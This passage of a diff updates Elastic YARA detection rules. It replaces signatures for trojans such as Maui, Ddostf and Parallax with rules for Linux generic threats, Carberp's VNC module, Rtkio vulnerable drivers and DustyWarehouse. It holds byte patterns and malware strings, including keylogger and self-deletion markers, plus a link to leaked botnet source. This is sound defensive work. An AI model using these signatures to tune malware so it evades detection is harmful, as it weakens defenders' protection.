+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "116aaba80e2f303206d0ba84c8c58a4e3e34b70a8ca2717fa9cf1aa414d5ffcc"
+		logic_hash = "c80af9d6f3e4d92cfa53429abbda944069d335fc89421a89e04089d236f5dddf"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "6f6451b7a972924b2efe339b8793c30409123df37d3d64802037a5af8cb4b5f3"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "907b40e66d5da2faf142917304406d0a8abc7356d73b2a6a6789be22b4daf4ab"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Please append it by <Godhead> using -maui option." wide fullword
-		$a2 = "Please overwrite it by <Godhead> using -maui option." wide fullword
-		$a3 = "maui.log" wide fullword
-		$a4 = "maui.key" wide fullword
-		$a5 = "maui.evd" wide fullword
-		$a6 = "Encrypt[%s]: %s" wide fullword
-		$a7 = "PROCESS_GOINGON[%d%% / %d%%]: %s" wide fullword
-		$a8 = "PROCESS_REPLACECONFIRM: %s" wide fullword
-		$seq_encrypt_priv_key = { 55 8B 6C 24 ?? 57 8B F9 85 DB 74 ?? 85 FF 74 ?? 85 ED 74 ?? 56 8D 87 ?? ?? ?? ?? 50 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 8B 51 ?? 6A ?? 52 8B F0 56 53 57 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 7F ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 5E 5F 83 C8 ?? 5D C3 }
-		$seq_get_private_key = { 57 8B F8 85 FF 75 ?? 5F C3 56 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 80 7F ?? ?? 8B F0 74 ?? 8B 07 50 56 E8 ?? ?? ?? ?? EB ?? 8B 0F 51 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 F6 75 ?? 5E 33 C0 5F C3 }
-		$seq_get_pub_key = { B9 F4 FF FF FF 2B 4C 24 ?? 6A 02 51 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 8B 07 53 6A ?? 52 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 32 DB 8B C7 E8 ?? ?? ?? ?? 89 46 28 8B 0F 51 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 83 C4 ?? 5F 8B C6 5E 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3 }
+		$a1 = { 4E 54 4C 4D 53 53 50 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 63 25 73 25 73 }
 
 	condition:
-		5 of ($a*) or 2 of ($seq*)
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Masan_5369C678 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_E9Aef030 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Masan (Linux.Trojan.Masan)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "5369c678-9a74-42fe-a4b3-b4d48126bb22"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "e9aef030-7d8c-4e9d-a364-178c717516f0"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Masan.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f2de9f39ca3910d5b383c245d8ca3c1bdf98e2309553599e0283062e0aeff17f"
-		logic_hash = "e57b105004216a6054b0561b69cce00c35255c5bd33aa8e403d0a3967cd0697e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1152-L1170"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "5ab72be12cca8275d95a90188a1584d67f95d43a7903987e734002983b5a3925"
+		logic_hash = "1d458e147d6667e2e0740d6d26fee05ac02f49e9eba30002852e723308b1b462"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5fd243bf05cafd7db33d6c0167f77148ae53983906e917e174978130ae08062a"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "50ae1497132a9f1afc6af5bf96a0a49ca00023d5f0837cb8d67b4fd8b0864cc7"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 89 C0 89 45 E4 83 7D E4 FF 75 ?? 68 ?? 90 04 08 }
+		$a1 = { D0 4D E2 00 50 A0 E1 0A 00 00 0A 38 40 80 E2 28 31 9F E5 10 00 8D E2 24 11 9F E5 04 20 A0 E1 0F E0 A0 E1 03 F0 A0 E1 04 00 A0 E1 14 31 9F E5 0F E0 A0 E1 03 F0 A0 E1 00 30 D5 E5 40 00 13 E2 05 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Chinaz_A2140Ca1 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_A3C5F3Bd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Chinaz (Linux.Trojan.Chinaz)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "a2140ca1-0a72-4dcb-bf7c-2f51e84a996b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "a3c5f3bd-9afe-44f4-98da-6ad704d0dee1"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Chinaz.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "7c44c2ca77ef7a62446f6266a757817a6c9af5e010a219a43a1905e2bc5725b0"
-		logic_hash = "c9c63114e45b45b1c243af1f719cddc838a06a1f35d65dca6a2fb5574047eff0"
-		score = 60
-		quality = 45
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1172-L1192"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8c093bcf3d83545ec442519637c956d2af62193ea6fd2769925cacda54e672b6"
+		logic_hash = "41e66d1f47e7197662aa661ef49ee1f3191fee07a49538dd631ce9cc6fdd56be"
+		score = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "ac620f3617ea448b2ad62f06490c37200fa0af8a6fe75a6a2a294a7b5b4a634a"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "f86d540c4e884a9c893471cf08db86c9bf34162fe9970411f8e56917fd9d3d8f"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { C0 53 8B 74 24 0C 8B 5C 24 10 8D 74 26 00 89 C2 89 C1 C1 FA 03 83 }
+		$a1 = { 66 68 5F 72 65 6D 6F 76 65 5F 68 6F 6F 6B }
+		$a2 = { 66 68 5F 66 74 72 61 63 65 5F 74 68 75 6E 6B }
+		$a3 = { 66 68 5F 69 6E 73 74 61 6C 6C 5F 68 6F 6F 6B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ddostf_E4874Cd4 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_3Fa2Df51 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "e4874cd4-50e3-4a4c-b14c-976e29aaaaae"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "3fa2df51-fa0e-4149-8631-fa4bfb2fe66e"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ddostf.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
-		logic_hash = "1523fe8f7bbbc7e42f8c2efe5b28dd381007846a1ba7078a6f1a30aedace884b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1194-L1213"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "89ec224db6b63936e8bc772415d785ef063bfd9343319892e832034696ff6f15"
+		logic_hash = "f43b659dd093a635d9723b2443366763132217aaf28c582ed43f180725f92f19"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "dfbf7476794611718a1cd2c837560423e3a6c8b454a5d9eecb9c6f9d31d01889"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "3aa2bbc4e177574fa2ae737e6f27b92caa9a83e6e9a1704599be67e2c3482f6a"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { E4 01 8B 45 F0 2B 45 F4 89 C2 8B 45 E4 39 C2 73 82 8B 45 EC }
+		$a1 = { 5B 6B 77 6F 72 6B 65 72 2F 30 3A 32 5D }
+		$a2 = { 2F 74 6D 70 2F 6C 6F 67 5F 64 65 2E 6C 6F 67 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ddostf_32C35334 : FILE MEMORY
+rule ELASTIC_Linux_Generic_Threat_Be02B1C9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
+		description = "Detects Linux Generic Threat (Linux.Generic.Threat)"
 		author = "Elastic Security"
-		id = "32c35334-f264-4509-b5c4-b07e477bd07d"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "be02b1c9-fb48-434c-a0ee-a1a87938992c"
+		date = "2024-05-21"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ddostf.yar#L21-L38"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "d62d450d48756c09f8788b27301de889c864e597924a0526a325fa602f91f376"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Generic_Threat.yar#L1215-L1233"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ef6d47ed26f9ac96836f112f1085656cf73fc445c8bacdb737b8be34d8e3bcd2"
+		logic_hash = "a278c3a8033139d84c99a53901526895b154b5ef363fbeed47095889a5fb8d31"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f71d1e9188f67147de8808d65374b4e34915e9d60ff475f7fc519c8918c75724"
-		severity = 100
-		arch_context = "x86"
+		fingerprint = "c803bfffa481ad01bbfe490f9732748f8988669eab6bdf9f1e0e55f5ba8917a3"
+		severity = 50
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 0E 18 41 0E 1C 41 0E 20 48 0E 10 00 4C 00 00 00 64 4B 00 00 }
+		$a1 = { 18 48 89 FB 48 89 F5 48 8B 47 08 48 89 C2 48 C1 EA 18 88 14 24 48 89 C2 48 C1 EA 10 88 54 24 01 48 89 C2 48 C1 EA 08 88 54 24 02 88 44 24 03 48 8B 07 48 89 C2 48 C1 EA 18 88 54 24 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ddostf_6Dc1Caab : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Carberp_D6De82Ae : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
+		description = "Identifies VNC module from the leaked Carberp source code. This could exist in other malware families."
 		author = "Elastic Security"
-		id = "6dc1caab-be84-4f27-a059-2acffc20ca2c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ddostf.yar#L40-L58"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f4587bd45e57d4106ebe502d2eaa1d97fd68613095234038d67490e74c62ba70"
-		logic_hash = "fd70960ed6e06f4d152bbd211fbe491dad596010da12cd53c93b577b551b8053"
+		id = "d6de82ae-9846-40cb-925d-e0a371e1c44c"
+		date = "2021-02-07"
+		modified = "2021-08-23"
+		reference = "https://github.com/m0n0ph1/malware-1/blob/master/Carberp%20Botnet/source%20-%20absource/pro/all%20source/hvnc_dll/HVNC%20Lib/vnc/xvnc.h#L342"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Carberp.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f98fadb6feab71930bd5c08e85153898d686cc96c84fe349c00bf6d482de9b53"
+		logic_hash = "085020755c77b299b2bfd18b34af6c68450c29de67b8ae32ddf2b26299b923ae"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "43bcb29d92e0ed2dfd0ff182991864f8efabd16a0f87e8c3bb453b47bd8e272b"
+		fingerprint = "7ce34f1000749a938b78508c93371d3339cd49f73eeec36b25da13c9d129b85c"
+		threat_name = "Windows.Trojan.Carberp"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FC 01 83 45 F8 01 83 7D F8 5A 7E E6 C7 45 F8 61 00 00 00 EB 14 8B }
+		$a1 = ".NET CLR Networking_Perf_Library_Lock_PID_0" ascii wide fullword
+		$a2 = "FakeVNCWnd" ascii wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Ddostf_Dc47A873 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rtkio_13B3C88B : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
+		description = "Name: rtkio.sys"
 		author = "Elastic Security"
-		id = "dc47a873-65a0-430d-a598-95be7134f207"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "13b3c88b-daa7-4402-ad31-6fc7d4064087"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ddostf.yar#L60-L78"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
-		logic_hash = "2f5bd9e012fd778388074cf29b56c7cd59391840f994835d087b7b661445d316"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Rtkio.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
+		logic_hash = "1e37650292884e28dcc51c42bc1b1d1e8efc13b0727f7865ff1dc7b8e1a72380"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f103490a9dedc0197f50ca2b412cf18d2749c8d6025fd557f1686bc38f32db52"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "3788e6a7a759796a2675116e4d291324f97114773cf53345f15796566266f702"
+		threat_name = "Windows.VulnDriver.Rtkio"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 05 88 10 8B 45 08 0F B6 10 83 E2 0F 83 CA 40 88 10 8B 45 08 C6 40 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Linux_Trojan_Ddostf_Cb0358A0 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rtkio_D595781E : FILE
 {
 	meta:
-		description = "Detects Linux Trojan Ddostf (Linux.Trojan.Ddostf)"
+		description = "Name: rtkio64.sys"
 		author = "Elastic Security"
-		id = "cb0358a0-5303-4860-89ac-7dae037f5f0b"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "d595781e-67c1-47bf-a7ea-bb4a9ba33879"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Ddostf.yar#L80-L98"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1015b9aef1f749dfc31eb33528c4a4169035b6d73542e068b617965d3e948ef2"
-		logic_hash = "1f152b69bf0b2bfa539fdd42c432e456b9efb3766a450333a987313bb12c1826"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Rtkio.yar#L22-L41"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7"
+		logic_hash = "289eb17025d989cc74e109b1c03378e9760817a84f1a759153ff6ff6b6401e6d"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "f97c96d457532f2af5fb0e1b40ad13dcfba2479c651266b4bdd1ab2a01c0360f"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "efe0871703d5c146764c4a7ac9c80ae4e635dc6dd0e718e6ddc4c39b18ca9fdd"
+		threat_name = "Windows.VulnDriver.Rtkio"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 66 C7 45 F2 00 00 8D 45 F2 8B 55 E4 0F B6 12 88 10 0F B7 45 F2 0F }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 36 00 34 00 2E 00 73 00 79 00 73 00 20 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Windows_Trojan_Parallax_D72Ec0E2 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rtkio_B09Af431 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Parallax (Windows.Trojan.Parallax)"
+		description = "Name: rtkiow8x64.sys"
 		author = "Elastic Security"
-		id = "d72ec0e2-cf33-4ed8-8d3f-66bc93e11f26"
-		date = "2022-09-05"
-		modified = "2022-09-29"
-		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Parallax.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "6c2c84624912f3b612ae435cf3e8000192a1b168b30205ed4a93b7fab7e336ad"
+		id = "b09af431-307b-40e2-bac5-5865c1ad54c8"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Rtkio.yar#L43-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038"
+		logic_hash = "916a6e63dc4c7ee0bfdf4a455ee467a1d03c1042db60806511aa7cbf3b096190"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "897117bf47d993f5cb360a0c65b1bb3df72b594334c896c1d5e7e858df202d49"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "e62a497acc1ee04510aa42ca96c5265e16b3be665f99e7dfc09ecc38055aca5b"
+		threat_name = "Windows.VulnDriver.Rtkio"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }
-		$png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }
-		$config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }
-		$winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 77 00 38 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		$config_func or $winnet_function or $COM_png or $png_parse
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Windows_Trojan_Parallax_B4Ea4F1A : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rtkio_5693E967 : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Parallax (Windows.Trojan.Parallax)"
+		description = "Name: rtkiow10x64.sys"
 		author = "Elastic Security"
-		id = "b4ea4f1a-4b78-4bb8-878e-40fe753018e9"
-		date = "2022-09-08"
-		modified = "2022-09-29"
-		reference = "https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Parallax.yar#L24-L55"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "731fe7bd339ec6b0372b4809004a21f53537bd82f084960b8d018f994dcdc06a"
+		id = "5693e967-dbe4-457c-8b0c-404774871ac0"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Rtkio.yar#L64-L83"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
+		logic_hash = "4cbc7a52de7f610cdb12bf40a9099bcfae818dcb5e4119a8c34499433aeebd7e"
 		score = 75
-		quality = 42
-		tags = "FILE, MEMORY"
-		fingerprint = "5c695f6b1bb0e72a070e076402cd94a77b178809617223b6caac6f6ec46f2ea1"
-		severity = 100
+		quality = 75
+		tags = "FILE"
+		fingerprint = "4de76b2d42b523c4bfefeee8905e8f431168cb59e18049563f9942e97c276e46"
+		threat_name = "Windows.VulnDriver.Rtkio"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$parallax_payload_strings_0 = "[Ctrl +" ascii wide fullword
-		$parallax_payload_strings_1 = "[Ctrl]" ascii wide fullword
-		$parallax_payload_strings_2 = "Clipboard Start" ascii wide fullword
-		$parallax_payload_strings_3 = "[Clipboard End]" ascii wide fullword
-		$parallax_payload_strings_4 = "UN.vbs" ascii wide fullword
-		$parallax_payload_strings_5 = "lt +" ascii wide fullword
-		$parallax_payload_strings_6 = "lt]" ascii wide fullword
-		$parallax_payload_strings_7 = ".DeleteFile(Wscript.ScriptFullName)" ascii wide fullword
-		$parallax_payload_strings_8 = ".DeleteFolder" ascii wide fullword
-		$parallax_payload_strings_9 = ".DeleteFile " ascii wide fullword
-		$parallax_payload_strings_10 = "Scripting.FileSystemObject" ascii wide fullword
-		$parallax_payload_strings_11 = "On Error Resume Next" ascii wide fullword
-		$parallax_payload_strings_12 = "= CreateObject" ascii wide fullword
-		$parallax_payload_strings_13 = ".FileExists" ascii wide fullword
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 77 00 31 00 30 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 20 00 00 00 }
 
 	condition:
-		7 of ($parallax_payload_strings_*)
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Windows_Trojan_Matanbuchus_B521801B : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Dustywarehouse_A6Cfc9F7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Matanbuchus (Windows.Trojan.Matanbuchus)"
+		description = "Detects Windows Trojan Dustywarehouse (Windows.Trojan.DustyWarehouse)"
 		author = "Elastic Security"
-		id = "b521801b-5623-4bfe-9a9d-9e16afa63c63"
-		date = "2022-03-17"
-		modified = "2022-04-12"
+		id = "a6cfc9f7-6d4a-4904-8294-790243eca76a"
+		date = "2023-08-25"
+		modified = "2023-11-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Matanbuchus.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4eb85a5532b98cbc4a6db1697cf46b9e2b7e28e89d6bbfc137b36c0736cd80e2"
-		logic_hash = "609a0941b118d737124a5cd9c98c007e21557a239cfa3cf97cd3b4348c934f03"
